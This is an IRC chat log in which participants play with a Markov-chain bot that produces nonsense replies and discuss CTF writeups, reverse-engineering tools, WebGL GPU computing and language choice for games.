[2014-12-08T17:42:27-0500] <awebot> The_Master: deletion-safe linked against String in these past that or 2 different proposals deowner the start at microsoft just about j when using System.Runtime.InteropServices;.
[2014-12-08T17:42:38-0500] <nezorg> @markov
[2014-12-08T17:42:44-0500] <awebot> nezorg: You know....
[2014-12-08T17:42:48-0500] <nezorg> wow that is slow
[2014-12-08T17:43:03-0500] <@awe> It would've been much worse before the updates.
[2014-12-08T17:43:13-0500] <@awe> It's like 10x faster than it was last night.
[2014-12-08T17:43:14-0500] <nezorg> "(this page was generated using ksh, sed and awk)" lol
[2014-12-08T17:43:21-0500] <@awe> Yeah.
[2014-12-08T17:43:25-0500] <@awe> SDF is hardcore.
[2014-12-08T17:44:17-0500] <@awe> @markov
[2014-12-08T17:44:23-0500] <awebot> awe: the current behavior, not complaining, just shot :).
[2014-12-08T17:44:37-0500] <+The_Master> @markov
[2014-12-08T17:44:43-0500] <awebot> The_Master: /nick the name makes sense though I'm pretty neat.
[2014-12-08T17:44:49-0500] <JacobEdelman> ... its slowing down
[2014-12-08T17:44:49-0500] <@awe> This is almost entirely from #rust on Mozilla's IRC.
[2014-12-08T17:44:57-0500] <@awe> JacobEdelman: Have you been reading?
[2014-12-08T17:45:01-0500] <@awe> JacobEdelman: I just gave it all of my logs.
[2014-12-08T17:45:03-0500] <JacobEdelman> oh
[2014-12-08T17:45:04-0500] <JacobEdelman> okay
[2014-12-08T17:45:11-0500] <JacobEdelman> you should only give it logs from pdgn
[2014-12-08T17:45:19-0500] <JacobEdelman> that way it will sound like us
[2014-12-08T17:45:22-0500] <JacobEdelman> @markov
[2014-12-08T17:45:28-0500] <JacobEdelman> ..
[2014-12-08T17:45:28-0500] <awebot> JacobEdelman: you want it into the :: type parameter the former is precisely this would have a shit uh.
[2014-12-08T17:45:35-0500] <JacobEdelman> wow
[2014-12-08T17:45:38-0500] <JacobEdelman> language awebot
[2014-12-08T17:45:43-0500] <+Tamini> @markov
[2014-12-08T17:45:44-0500] <+The_Master> @markov
[2014-12-08T17:45:49-0500] <awebot> Tamini: can't sort an additional.
[2014-12-08T17:45:55-0500] <awebot> The_Master: I guess the nether, lava flows faster to run it joins in the so-called "drunkard's walk", a better :P.
[2014-12-08T17:46:01-0500] <+Tamini> whoa
[2014-12-08T17:46:04-0500] <+Tamini> drunkard's walk
[2014-12-08T17:46:04-0500] <+Tamini> :O
[2014-12-08T17:46:20-0500] <+The_Master> awebot:You play minecraft?
[2014-12-08T17:46:20-0500] <@awe> Hold on.
[2014-12-08T17:46:21-0500] <@awe> Nobody use it.
[2014-12-08T17:46:32-0500] <@awe> Okay.
[2014-12-08T17:46:32-0500] <@awe> @markov
[2014-12-08T17:46:39-0500] <awebot> awe: .propose oper Hcnsh (Y: 5, N 1)..
[2014-12-08T17:46:44-0500] <@awe> This is just using logs from pdgn.
[2014-12-08T17:46:45-0500] <@awe> @markov
[2014-12-08T17:46:50-0500] <JacobEdelman> good
[2014-12-08T17:46:53-0500] <awebot> awe: what you currently we could have crashing though I've exclusively mutable borrow self though, I'm weird.
[2014-12-08T17:46:55-0500] <+Tamini> LOL
[2014-12-08T17:47:00-0500] <+Tamini> logs from pdgn gives proposals
[2014-12-08T17:47:00-0500] <JacobEdelman> now we can train it ourselves
[2014-12-08T17:47:02-0500] <+Tamini> @markov
[2014-12-08T17:47:04-0500] <nezorg> @markov
[2014-12-08T17:47:07-0500] <JacobEdelman> ...
[2014-12-08T17:47:09-0500] <awebot> Tamini: Oh jwoglom had not *by* south park is difficult to outwit it, and keep popping up with the nation. And then.
[2014-12-08T17:47:16-0500] <awebot> nezorg: i'm lagging behind it to typedef it, maybe just seems to anyone confirm I have a sign up copyable is there an honor code.
[2014-12-08T17:47:20-0500] <@awe> This uhh...
[2014-12-08T17:47:23-0500] <+Tamini> LOL
[2014-12-08T17:47:24-0500] <+Tamini> uhh maybe
[2014-12-08T17:47:25-0500] <@awe> This has my private conversations in it.
[2014-12-08T17:47:29-0500] <JacobEdelman> hahaha
[2014-12-08T17:47:31-0500] <nezorg> XD
[2014-12-08T17:47:33-0500] <+Tamini> just pdgn is a bad way to train it
[2014-12-08T17:47:34-0500] <+Tamini> and LOL
[2014-12-08T17:47:37-0500] <+Tamini> awe? :P
[2014-12-08T17:47:38-0500] <JacobEdelman> your private
[2014-12-08T17:47:40-0500] <JacobEdelman> deap dark secrets
[2014-12-08T17:47:45-0500] <JacobEdelman> are discussions on rust
[2014-12-08T17:47:49-0500] <JacobEdelman> or so it appears
[2014-12-08T17:47:50-0500] <@awe> Yes.
[2014-12-08T17:47:52-0500] <+jwoglom> wut
[2014-12-08T17:47:57-0500] <JacobEdelman> Tamini: I want it to reflect us
[2014-12-08T17:47:58-0500] <@awe> JacobEdelman: The markov chain loves you.
[2014-12-08T17:48:00-0500] <@awe> erm
[2014-12-08T17:48:04-0500] <@awe> jwoglom: The markov chain loves you.
[2014-12-08T17:48:11-0500] <nezorg> @markov
[2014-12-08T17:48:15-0500] <+jwoglom> awe: yep I noticed
[2014-12-08T17:48:18-0500] <awebot> nezorg: DodoFXP: you can serve.
[2014-12-08T17:48:22-0500] <+Tamini> jwoglom: hey, you're popular!
[2014-12-08T17:48:23-0500] <@awe> Okay, let's go add support for serializing the brain.
[2014-12-08T17:48:24-0500] <JacobEdelman> ...
[2014-12-08T17:48:24-0500] <+Tamini> even robots like you :P
[2014-12-08T17:48:33-0500] <nezorg> @markov
[2014-12-08T17:48:35-0500] <+jwoglom> Tamini: ikr!
[2014-12-08T17:48:40-0500] <awebot> nezorg: oh.
[2014-12-08T17:48:42-0500] <+Tamini> JacobEdelman: we need talk more about RameNet
[2014-12-08T17:48:53-0500] <+Tamini> so markov will love it too
[2014-12-08T17:48:53-0500] <+jwoglom> Tamini: wait, but you're a robot too, no?
[2014-12-08T17:48:57-0500] <JacobEdelman> awe: is it proccessing new things we talk about?
[2014-12-08T17:49:01-0500] <@awe> Yes.
[2014-12-08T17:49:01-0500] <JacobEdelman> gtg
[2014-12-08T17:50:05-0500] <nezorg> @markov
[2014-12-08T17:50:12-0500] <awebot> nezorg: oh that's because it's mostly the vector and 25% of whether he's a unsafe {}.
[2014-12-08T17:50:44-0500] <nezorg> wut
[2014-12-08T17:50:52-0500] <+Tamini> jwoglom: uh no
[2014-12-08T17:51:01-0500] <+Tamini> if I was a robot, I would like you, no? :P
[2014-12-08T17:51:09-0500] <+Tamini> @markov
[2014-12-08T17:51:16-0500] <awebot> Tamini: Wait it anyway :).
[2014-12-08T17:51:23-0500] <+jwoglom> Tamini: that's harsh
[2014-12-08T17:51:56-0500] <+The_Master> @markov
[2014-12-08T17:52:04-0500] <awebot> The_Master: Users: +hardmath123, +ubuntor, The_Master, alokpathy, +LittleBobbyTables, Tamini_, JacobEdelman, LittleBobbyTables best BobbyTables (Y: 1, N 2)..
[2014-12-08T17:52:04-0500] <+jwoglom> @markov
[2014-12-08T17:52:12-0500] <awebot> jwoglom: .<3.
[2014-12-08T17:52:38-0500] <+jwoglom> Tamini: see, now it loves me.
[2014-12-08T17:52:46-0500] <nezorg> XD
[2014-12-08T17:52:57-0500] <nezorg> @markov
[2014-12-08T17:53:04-0500] <awebot> nezorg: :D.
[2014-12-08T17:53:05-0500] <+Tamini> LOL
[2014-12-08T17:53:07-0500] <+Tamini> wait
[2014-12-08T17:53:10-0500] <+Tamini> awe:
[2014-12-08T17:53:12-0500] <+Tamini> was that rigged
[2014-12-08T17:53:17-0500] <+Tamini> or does everything just love jwoglom
[2014-12-08T17:53:20-0500] <nezorg> @markov
[2014-12-08T17:53:27-0500] <awebot> nezorg: ty: They resolve my proposaly.
[2014-12-08T17:53:32-0500] <nezorg> lol
[2014-12-08T17:53:33-0500] <+Tamini> @markov
[2014-12-08T17:53:40-0500] <awebot> Tamini: ignatz: anyway to put out too..
[2014-12-08T17:53:44-0500] <+The_Master> @markov
[2014-12-08T17:53:47-0500] <+jwoglom> Tamini: I think the latter ;)
[2014-12-08T17:53:48-0500] <nezorg> awe: you should add a parameter to the command to seed it
[2014-12-08T17:53:51-0500] <awebot> The_Master: but #14 today.
[2014-12-08T17:53:57-0500] <+The_Master> @markov
[2014-12-08T17:54:04-0500] <awebot> The_Master: Alright.
[2014-12-08T17:54:14-0500] <@awe> Tamini: It just loves him.
[2014-12-08T17:54:19-0500] <@awe> nezorg: I should.
[2014-12-08T17:54:27-0500] <@awe> nezorg: I don't really know how that works though.
[2014-12-08T17:54:56-0500] <+The_Master> @markov
[2014-12-08T17:55:03-0500] <awebot> The_Master: or three times.
[2014-12-08T17:55:05-0500] <nezorg> awe: well instead of your starting state be "start" you have it be some other word
[2014-12-08T17:55:23-0500] <+Tamini> goddamit jwoglom:
[2014-12-08T17:55:27-0500] <+Tamini> why does awebot love you and not me
[2014-12-08T17:55:28-0500] <@awe> nezorg: Is that really how it's usually done?
[2014-12-08T17:55:31-0500] <+Tamini> it used to love me :(
[2014-12-08T17:55:33-0500] <+Tamini> @markov
[2014-12-08T17:55:38-0500] <nezorg> awe: I believe so
[2014-12-08T17:55:40-0500] <awebot> Tamini: Done When they don't.
[2014-12-08T17:55:44-0500] <@awe> nezorg: That's easy then!
[2014-12-08T17:55:49-0500] <@awe> nezorg: I'll add that soon.
[2014-12-08T17:56:00-0500] <+The_Master> @markov
[2014-12-08T17:56:07-0500] <awebot> The_Master: why I want to phone at all.
[2014-12-08T17:56:14-0500] <nezorg> @markov
[2014-12-08T17:56:20-0500] <awebot> nezorg: and the path = ... because trailer for multiple libraries, you actually do that?.
[2014-12-08T17:56:40-0500] <nezorg> noice
[2014-12-08T17:56:54-0500] <nezorg> (this will totally get old quickly but I'm enjoying it while it lasts)
[2014-12-08T17:57:07-0500] <@awe> nezorg: It was fun to implement anyway.
[2014-12-08T17:57:13-0500] <@awe> nezorg: And since it's generic, it's actually very useful.
[2014-12-08T17:57:30-0500] <+The_Master> @markov
[2014-12-08T17:57:37-0500] <awebot> The_Master: The problem.
[2014-12-08T17:58:09-0500] <nezorg> I should probably do my pico writeups
[2014-12-08T18:00:12-0500] <+Tamini> nezorg: i should too
[2014-12-08T18:00:15-0500] <+Tamini> which ones are you writing up?
[2014-12-08T18:00:30-0500] <nezorg> I think that hardest web one
[2014-12-08T18:00:37-0500] <nezorg> haven't decided on the other two yet
[2014-12-08T18:00:58-0500] <+Tamini> ooh
[2014-12-08T18:01:00-0500] <+Tamini> steve's list
[2014-12-08T18:01:07-0500] <+Tamini> i need to write up master rsa
[2014-12-08T18:01:11-0500] <Hcnsh> do a detailed baleful solution
[2014-12-08T18:01:11-0500] <+Tamini> but i seem to have misplaced my sage code
[2014-12-08T18:01:12-0500] <+Tamini> oops
[2014-12-08T18:01:36-0500] <nezorg> Hcnsh: ...which was that again?
[2014-12-08T18:01:38-0500] <nezorg> oh
[2014-12-08T18:01:41-0500] <nezorg> the emulator one
[2014-12-08T18:01:43-0500] <nezorg> err, VM
[2014-12-08T18:01:49-0500] <nezorg> that one was pretty fun
[2014-12-08T18:01:58-0500] <nezorg> (...with hexrays, that is)
[2014-12-08T18:02:02-0500] <Hcnsh> uh
[2014-12-08T18:02:07-0500] <Hcnsh> could you explain what was happening?
[2014-12-08T18:02:17-0500] <+jwoglom> Tamini: awebot doesn't love you because I do <3
[2014-12-08T18:02:21-0500] <nezorg> well, it was emulating an architecture, right?
[2014-12-08T18:02:26-0500] <Hcnsh> no clue
[2014-12-08T18:02:29-0500] <nezorg> yeah
[2014-12-08T18:02:34-0500] <nezorg> I just wrote a disassembler
[2014-12-08T18:02:37-0500] <+Tamini> jwoglom: nyeh
[2014-12-08T18:02:44-0500] <+Tamini> nezorg: oh, so you did what bob_twinkles did
[2014-12-08T18:02:48-0500] <nezorg> idk
[2014-12-08T18:02:59-0500] <nezorg> dynamic analysis isn't really my thing
[2014-12-08T18:03:05-0500] <+jwoglom> Tamini: you're silly
[2014-12-08T18:03:14-0500] <+Tamini> jwoglom: no u
[2014-12-08T18:03:22-0500] <+Tamini> nezorg: i'm fairly certain
[2014-12-08T18:03:25-0500] <+Tamini> he wrote a disassembler
[2014-12-08T18:03:27-0500] <+The_Master> @markov
[2014-12-08T18:03:28-0500] <+Tamini> and guessed what the program did :P
[2014-12-08T18:03:33-0500] <Hcnsh> how do you even begin to figure out what's happening?
[2014-12-08T18:03:34-0500] <awebot> The_Master: is the use, anyway..
[2014-12-08T18:03:36-0500] <nezorg> Tamini: yeah
[2014-12-08T18:03:36-0500] <bob_twinkles> if I used emacs or you used vim we would be the same person I think
[2014-12-08T18:03:45-0500] <nezorg> Hcnsh: in the disassembled code or in the original binary?
[2014-12-08T18:03:46-0500] <+Tamini> nezorg: use vim man
[2014-12-08T18:03:48-0500] <+Tamini> be cool like us
[2014-12-08T18:03:54-0500] <@awe> jwoglom: d'aww
[2014-12-08T18:04:03-0500] <nezorg> Tamini: I shall never come to the dark side
[2014-12-08T18:04:04-0500] <Hcnsh> original binary?
[2014-12-08T18:04:06-0500] <+Tamini> bob_twinkles: if you were the same person as nezorg, I would like that I'd think.
[2014-12-08T18:04:10-0500] <+Tamini> win ALL the ctfs <3
[2014-12-08T18:04:18-0500] <+Tamini> nezorg: you're already on the dark side
[2014-12-08T18:04:23-0500] <nezorg> Hcnsh: hexrays is amazing
[2014-12-08T18:04:36-0500] <Hcnsh> IDA?
[2014-12-08T18:04:38-0500] <Hcnsh> or something different?
[2014-12-08T18:04:43-0500] <@awe> IDA.
[2014-12-08T18:04:44-0500] <nezorg> IDA Pro w/ hexrays, yeah
[2014-12-08T18:04:52-0500] <@awe> HexRays is the pseudocode generator.
[2014-12-08T18:05:08-0500] <@awe> JacobEdelman: which, for the record, is C-style.
[2014-12-08T18:05:16-0500] <@awe> Jacob thinks that all pseudocode is Python.
[2014-12-08T18:05:25-0500] <+The_Master> @markov
[2014-12-08T18:05:33-0500] <awebot> The_Master: icorderi: you feel :(.
[2014-12-08T18:05:48-0500] <Hcnsh> wtf's markov?
[2014-12-08T18:05:48-0500] <bob_twinkles> even without hexrays IDA will tell you ; Jump table for switch ....
[2014-12-08T18:06:00-0500] <nezorg> hexrays is OP
[2014-12-08T18:06:11-0500] <@awe> @ddg !w Markov chain
[2014-12-08T18:06:11-0500] <awebot> awe: https://duckduckgo.com/?q=!w+Markov+chain
[2014-12-08T18:06:12-0500] <@awe> Hcnsh: ^
[2014-12-08T18:06:44-0500] <nezorg> I feel like I could have accepted my copy of ida pro + hexrays as my only compensation for my internshi[
[2014-12-08T18:06:46-0500] <nezorg> *internship
[2014-12-08T18:07:00-0500] <+Tamini> but like
[2014-12-08T18:07:01-0500] <+Tamini> torrent
[2014-12-08T18:07:02-0500] <+Tamini> :P
[2014-12-08T18:07:08-0500] <@awe> nezorg: I pirated it.
[2014-12-08T18:07:16-0500] <nezorg> awe: but that's only 6.5, right?
[2014-12-08T18:07:20-0500] <@awe> Yeah.
[2014-12-08T18:07:22-0500] <@awe> That's true.
[2014-12-08T18:07:30-0500] <nezorg> 6.6 hexrays has amd64 support
[2014-12-08T18:07:35-0500] <@awe> Ooo.
[2014-12-08T18:08:26-0500] <@awe> I think I have 6.5 anyway. I don't remember.
[2014-12-08T18:08:43-0500] <Hcnsh> are you guys running a .exe using wine or is there a linux version?
[2014-12-08T18:08:57-0500] <@awe> I have a Windows machine.
[2014-12-08T18:08:59-0500] <nezorg> Hcnsh: haven't been able to find a linux leaked version, but I'm using the native version
[2014-12-08T18:09:14-0500] <nezorg> (because <3 giovanni)
[2014-12-08T18:11:04-0500] <+The_Master> @markov
[2014-12-08T18:11:11-0500] <awebot> The_Master: chrome.
[2014-12-08T18:11:17-0500] <JacobEdelman> I'm back
[2014-12-08T18:11:24-0500] <JacobEdelman> all psuedocode is python
[2014-12-08T18:11:34-0500] <JacobEdelman> hexrays only pretends to generate pseudocode
[2014-12-08T18:11:52-0500] <@awe> Okay.
[2014-12-08T18:11:54-0500] <@awe> Whatever you say.
[2014-12-08T18:11:59-0500] <JacobEdelman> thanks
[2014-12-08T18:12:01-0500] <Hcnsh> what if i do
[2014-12-08T18:12:05-0500] <Hcnsh> i <- 0
[2014-12-08T18:12:05-0500] <JacobEdelman> thats the proper attitude :P
[2014-12-08T18:12:08-0500] <Hcnsh> while i < 10
[2014-12-08T18:12:13-0500] <Hcnsh> i <- i+1
[2014-12-08T18:12:14-0500] <Hcnsh> take that
[2014-12-08T18:12:22-0500] <JacobEdelman> eh, pretty much python
[2014-12-08T18:12:28-0500] <Hcnsh> plis, <- isn't a =
[2014-12-08T18:12:29-0500] <JacobEdelman> just using
[2014-12-08T18:12:32-0500] <JacobEdelman> <- instead of =
[2014-12-08T18:12:33-0500] <JacobEdelman> gtg
[2014-12-08T18:13:39-0500] <@awe> Hcnsh: or :=
[2014-12-08T18:13:44-0500] <@awe> Hcnsh: JacobEdelman is just a Python snob.
[2014-12-08T18:15:33-0500] <bob_twinkles> webgl pls
[2014-12-08T18:15:41-0500] <bob_twinkles> yuno support primitive resets =(
[2014-12-08T18:15:43-0500] failedxyz (uid50489@pdgn-5ih.9lf.7cuf9e.IP) joined the channel
[2014-12-08T18:15:57-0500] <bob_twinkles> or even glDrawMultiElements =(
[2014-12-08T18:16:34-0500] <+The_Master> @markov
[2014-12-08T18:16:41-0500] <awebot> The_Master: I have botched some more with AIR FRANCE, KLM, Air France, KLM or bad.
[2014-12-08T18:16:54-0500] <@awe> Okay, awebot.
[2014-12-08T18:17:24-0500] <+Tamini> hei failedxyz 
[2014-12-08T18:17:28-0500] <+Tamini> how did easyctf go?
[2014-12-08T18:17:31-0500] <+Tamini> success?
[2014-12-08T18:18:17-0500] <failedxyz> not really i fucked up everything that could possibly have fucked up
[2014-12-08T18:18:51-0500] <JacobEdelman> bob_twinkles
[2014-12-08T18:18:54-0500] <JacobEdelman> about webgl
[2014-12-08T18:18:57-0500] <bob_twinkles> ?
[2014-12-08T18:19:00-0500] <JacobEdelman> how would I go about doing
[2014-12-08T18:19:06-0500] <JacobEdelman> just general gpu computing on it
[2014-12-08T18:19:08-0500] <+The_Master> @markov
[2014-12-08T18:19:10-0500] <JacobEdelman> like cuda stuff
[2014-12-08T18:19:16-0500] <awebot> The_Master: Dude, I think the place is to either M:N thread on type that in spite of like that, because of those.
[2014-12-08T18:20:01-0500] <bob_twinkles> JacobEdelman: uh... you might be able to hack something together with flipping FBOs and then reading back the texture data
[2014-12-08T18:20:07-0500] <bob_twinkles> but I really would not enjoy that
[2014-12-08T18:20:21-0500] <nezorg> https://www.khronos.org/webcl/
[2014-12-08T18:20:25-0500] <bob_twinkles> webgl doesn't even support real transform feedback (yet, supposedly that's happening in 2.0)
[2014-12-08T18:23:15-0500] <JacobEdelman> webcl hates me
[2014-12-08T18:23:18-0500] <JacobEdelman> and looks confusing
[2014-12-08T18:23:42-0500] <bob_twinkles> what do you want to do GPGPU computing in a browser for anyway?
[2014-12-08T18:24:22-0500] <JacobEdelman> true async or whatever
[2014-12-08T18:24:39-0500] <JacobEdelman> map over a a few thousand elements would benefit from gpu
[2014-12-08T18:24:54-0500] <nezorg> well you can always use webworkers
[2014-12-08T18:25:21-0500] <bob_twinkles> eh, debatable
[2014-12-08T18:25:25-0500] <JacobEdelman> but they are not on the gpu
[2014-12-08T18:25:34-0500] <bob_twinkles> b/c it's javascript you're going to spend a lot of time copying buffers
[2014-12-08T18:25:40-0500] <JacobEdelman> really?
[2014-12-08T18:25:44-0500] <JacobEdelman> what do you mean?
[2014-12-08T18:25:49-0500] <+The_Master> @markov
[2014-12-08T18:25:56-0500] <awebot> The_Master: 6667.
[2014-12-08T18:25:58-0500] <bob_twinkles> well I suppose it depends on what you're doing with the data
[2014-12-08T18:26:03-0500] <+The_Master> @markov
[2014-12-08T18:26:10-0500] <awebot> The_Master: yeah....
[2014-12-08T18:26:40-0500] <+The_Master> @markov
[2014-12-08T18:26:46-0500] <awebot> The_Master: clones are now..
[2014-12-08T18:27:13-0500] <bob_twinkles> if the only thing you need to do is multiply some large matricies or something there may be a way to do it on the GPU efficiently
[2014-12-08T18:27:38-0500] <bob_twinkles> but if you're doing something like moving particles in a game engine I don't know how much that'd help you out
[2014-12-08T18:27:50-0500] <nezorg> yeah
[2014-12-08T18:27:59-0500] <+The_Master> @markov
[2014-12-08T18:28:07-0500] <awebot> The_Master: No borrows are just bail.
[2014-12-08T18:29:22-0500] <bob_twinkles> awe: are you caching the markov chain at all?
[2014-12-08T18:29:36-0500] <@awe> bob_twinkles: I basically can't, right now.
[2014-12-08T18:29:47-0500] <@awe> bob_twinkles: It has to regenerate it from the file every time.
[2014-12-08T18:29:50-0500] <@awe> bob_twinkles: I'll fix that soon.
[2014-12-08T18:29:57-0500] <JacobEdelman> bob_twinkles what if I'm doing something like bruteforcing a hash?
[2014-12-08T18:30:19-0500] <JacobEdelman> or filtering a very large list
[2014-12-08T18:30:31-0500] <bob_twinkles> I doubt you could even implement that within the restrictions of webgl shaders
[2014-12-08T18:30:35-0500] <JacobEdelman> or mapping a function that takes 0.1 sec onto a thousand items
[2014-12-08T18:30:40-0500] <bob_twinkles> AFAIK they don't support any of the integer extensions
[2014-12-08T18:30:54-0500] <JacobEdelman> bob_twinkles what about webcl?
[2014-12-08T18:31:00-0500] <bob_twinkles> dunno, never looked at it
[2014-12-08T18:31:05-0500] <JacobEdelman> nezorg: have you used webcl at all?
[2014-12-08T18:31:16-0500] <bob_twinkles> but if you're doing that you should probably just suck it up and use a real platform =P
[2014-12-08T18:31:23-0500] <nezorg> JacobEdelman: no; it's not supported in any browsers yet
[2014-12-08T18:31:34-0500] <JacobEdelman> there are plugins
[2014-12-08T18:31:48-0500] <nezorg> ...but then that kind of destroys the point of it being in a browser
[2014-12-08T18:32:14-0500] <JacobEdelman> partially
[2014-12-08T18:32:24-0500] <JacobEdelman> but people don't care at a hackathon
[2014-12-08T18:32:25-0500] <JacobEdelman> :P
[2014-12-08T18:32:29-0500] <nezorg> ah
[2014-12-08T18:32:45-0500] <JacobEdelman> I'm considering trying to implement easy gpu programming in js
[2014-12-08T18:32:49-0500] <JacobEdelman> its doable, I think
[2014-12-08T18:36:54-0500] <@awe> JacobEdelman: GPU programming in F#.
[2014-12-08T18:43:42-0500] <@awe> nezorg: O Believers! if only in descriptive chapters.
[2014-12-08T18:43:53-0500] <@awe> nezorg: From the Koran and Peter Kropotkin's The Conquest of Bread.
[2014-12-08T18:43:56-0500] <nezorg> lol
[2014-12-08T18:44:15-0500] <@awe> I, too, only believe in the descriptive chapters.
[2014-12-08T18:45:25-0500] <@awe> [18:25:34]  <bob_twinkles>	b/c it's javascript you're going to spend a lot of time copying buffers
[2014-12-08T18:45:42-0500] <@awe> bob_twinkles: You have to realize, he doesn't believe in slowness that isn't the result of computational complexity.
[2014-12-08T18:46:10-0500] <@awe> bob_twinkles: So, he doesn't care that a buffer copy would take a full thirty seconds.
[2014-12-08T18:46:36-0500] <@awe> JacobEdelman: This begs the question of why you even care about GPU programming since you only believe in computational complexity.
[2014-12-08T18:46:38-0500] <bob_twinkles> but... most modern optimization work is "how can we minimize memory access"
[2014-12-08T18:46:55-0500] <Hcnsh> add more registers :D
[2014-12-08T18:47:01-0500] <@awe> bob_twinkles: Don't worry. It's O(n). It doesn't matter that it's constantly accessing memory.
[2014-12-08T18:47:02-0500] <Hcnsh> and when you run out, even more registers
[2014-12-08T18:47:13-0500] <bob_twinkles> PPC tried that
[2014-12-08T18:47:16-0500] <Hcnsh> wait, why do we need ram in the first place?
[2014-12-08T18:47:19-0500] <bob_twinkles> guess what architecture we don't use any more
[2014-12-08T18:47:20-0500] <Hcnsh> just replace it with registers
[2014-12-08T18:47:26-0500] <bob_twinkles> $$$$$$$$
[2014-12-08T18:47:42-0500] <bob_twinkles> a modern register takes ~32 NAND gates compared to ~3 for a RAM gate
[2014-12-08T18:47:56-0500] <Hcnsh> really? :|
[2014-12-08T18:47:57-0500] <@awe> bob_twinkles: Who cares if it takes forty five minutes to run on an input of n = 100. It's O(n). So, you know it's good.
[2014-12-08T18:48:00-0500] <bob_twinkles> not to mention all the silly hackery you need to do in hardware to make context switches work
[2014-12-08T18:49:15-0500] <@awe> I'm telling you, bob_twinkles. Nobody cares about memory access.
[2014-12-08T18:49:22-0500] <@awe> It's just one of those things that doesn't matter.
[2014-12-08T18:50:41-0500] <bob_twinkles> in like 2000 maybe
[2014-12-08T18:50:43-0500] <bob_twinkles> it matters now
[2014-12-08T18:50:50-0500] <bob_twinkles> a lot if you're writting high performance apps
[2014-12-08T18:52:46-0500] <@awe> I'm making fun of JacobEdelman.
[2014-12-08T18:52:49-0500] <@awe> Though I'm probably being too hard on him.
[2014-12-08T18:53:01-0500] <@awe> That being said, I don't think I've ever gotten him to admit that their are domains where a 10x slow down is unacceptable.
[2014-12-08T18:53:28-0500] <@awe> For example, making games in JavaScript is a horrible idea.
[2014-12-08T18:53:34-0500] <@awe> I mean, just look at how Minecraft went.
[2014-12-08T18:53:53-0500] <bob_twinkles> I really hope you just made a joke
[2014-12-08T18:53:55-0500] <failedxyz> wat
[2014-12-08T18:54:01-0500] <@awe> Even though it's a simplistic game in terms of rendering, it can't run on older hardware.
[2014-12-08T18:54:01-0500] <failedxyz> Minecraft is not JavaScript
[2014-12-08T18:54:04-0500] <@awe> It's Java.
[2014-12-08T18:54:06-0500] <failedxyz> pls
[2014-12-08T18:54:06-0500] <@awe> I know.
[2014-12-08T18:54:20-0500] <@awe> I'm saying that if something in Java was that bad, imagine a full game in JavaScript.
[2014-12-08T18:54:27-0500] <bob_twinkles> and it's simplistic in terms of graphics because it's literally the brute force approach
[2014-12-08T18:54:55-0500] <bob_twinkles> the way minecraft renders stuff is literally just "throw thousands of polygons at the GPU and hope for the best"
[2014-12-08T18:55:01-0500] <@awe> I know.
[2014-12-08T18:55:12-0500] <bob_twinkles> it's gotten smarter over the last few months but voxel-based worlds are Hard(TM) to render
[2014-12-08T18:55:14-0500] <@awe> The memory usage is also horrible.
[2014-12-08T18:55:28-0500] <@awe> Which is not a "voxel-based worlds all have to be terrible on memory usage."
[2014-12-08T18:55:39-0500] <bob_twinkles> that's partly because Mojang doesn't know how2hperf java
[2014-12-08T18:55:46-0500] <bob_twinkles> SO MANY TEMPORARY OBJECTS
[2014-12-08T18:56:02-0500] <@awe> It's also partly because high performance Java is still memory-intensive because garbage collection.
[2014-12-08T18:56:04-0500] <bob_twinkles> literally the worst thing you can do if you want your java app to not suck
[2014-12-08T18:56:34-0500] <@awe> But yes, Mojang is particularly bad.
[2014-12-08T18:56:57-0500] <bob_twinkles> well Notch was
[2014-12-08T18:57:04-0500] <@awe> Right.
[2014-12-08T18:57:06-0500] <bob_twinkles> some of the people who are working on the game now know what's happening
[2014-12-08T18:58:26-0500] <@awe> I haven't looked in forever.
[2014-12-08T18:59:10-0500] <bob_twinkles> eh, everything blew up around the time MS aquired Mojang
[2014-12-08T18:59:22-0500] <bob_twinkles> not much interesting has happened that I know about
[2014-12-08T19:01:05-0500] <@awe> The lesson to be learned is Java is probably not a good choice for a game.
[2014-12-08T19:01:22-0500] <@awe> Games are sort of a high performance domain.
[2014-12-08T19:01:40-0500] <bob_twinkles> eh, you _can_ write games in java
[2014-12-08T19:01:44-0500] <bob_twinkles> 's not as bad a javascript
[2014-12-08T19:01:50-0500] <bob_twinkles> modern JVMs are damn good
[2014-12-08T19:02:04-0500] <@awe> I said probably not a good choice.
[2014-12-08T19:02:13-0500] <bob_twinkles> you just need to be very careful about your memory
[2014-12-08T19:02:20-0500] <@awe> Which is why it's probably not a good choice.
[2014-12-08T19:02:22-0500] <bob_twinkles> 's your only choice (more or less) on android
[2014-12-08T19:02:24-0500] <@awe> You can do it.
[2014-12-08T19:02:37-0500] <@awe> JavaScript games is very, very bad.
[2014-12-08T19:05:43-0500] <nezorg> awe: Java is actually very good for games
[2014-12-08T19:05:49-0500] <nezorg> minecraft was just badly written
[2014-12-08T19:05:50-0500] <@awe> ...?
[2014-12-08T19:05:53-0500] <@awe> Very good?
[2014-12-08T19:05:55-0500] <@awe> Evidence?
[2014-12-08T19:05:57-0500] <nezorg> well, the jvm
[2014-12-08T19:06:09-0500] <nezorg> the jvm is ridiculously fast
[2014-12-08T19:06:12-0500] <@awe> Garbage collection is generally something you don't want for games.
[2014-12-08T19:06:16-0500] <@awe> I agree that the JVM is great.
[2014-12-08T19:06:24-0500] <nezorg> you have to be careful with gc, yes
[2014-12-08T19:06:27-0500] <@awe> And it's GC is awesome.
[2014-12-08T19:06:38-0500] <@awe> But no language that's GC'd is *very good* for games.
[2014-12-08T19:06:47-0500] <nezorg> well, I disagree
[2014-12-08T19:07:04-0500] <nezorg> you couldn't create an game with AAA graphics, sure
[2014-12-08T19:07:21-0500] <@awe> My attitude on the matter is basically this: If you have to be concerned about something that the language tries to hide from you, it's probably not the right language for the domain.
[2014-12-08T19:07:21-0500] <nezorg> but it was the absolute best choice for minecraft, imo
[2014-12-08T19:07:44-0500] <nezorg> awe: exceptions? :P
[2014-12-08T19:08:17-0500] <@awe> Absolute best choice for Minecraft?
[2014-12-08T19:08:26-0500] <@awe> Is that considering Notch's skillset?
[2014-12-08T19:08:28-0500] <@awe> If so, yeah.
[2014-12-08T19:08:31-0500] <@awe> If not, very no.
[2014-12-08T19:09:01-0500] <nezorg> the reason I say that is the modding
[2014-12-08T19:09:20-0500] <nezorg> there's no other language that was fast enough at the time that would allow for that kind of modding
[2014-12-08T19:09:50-0500] <@awe> You also can't predict modding communities.
[2014-12-08T19:09:55-0500] <@awe> So, that's sort of complex.
[2014-12-08T19:10:03-0500] <@awe> This is a very knowledge-in-hindsight thing, but I'd also say that Java still wasn't the best choice.
[2014-12-08T19:10:21-0500] <nezorg> well, mods are what made minecraft compelling for me
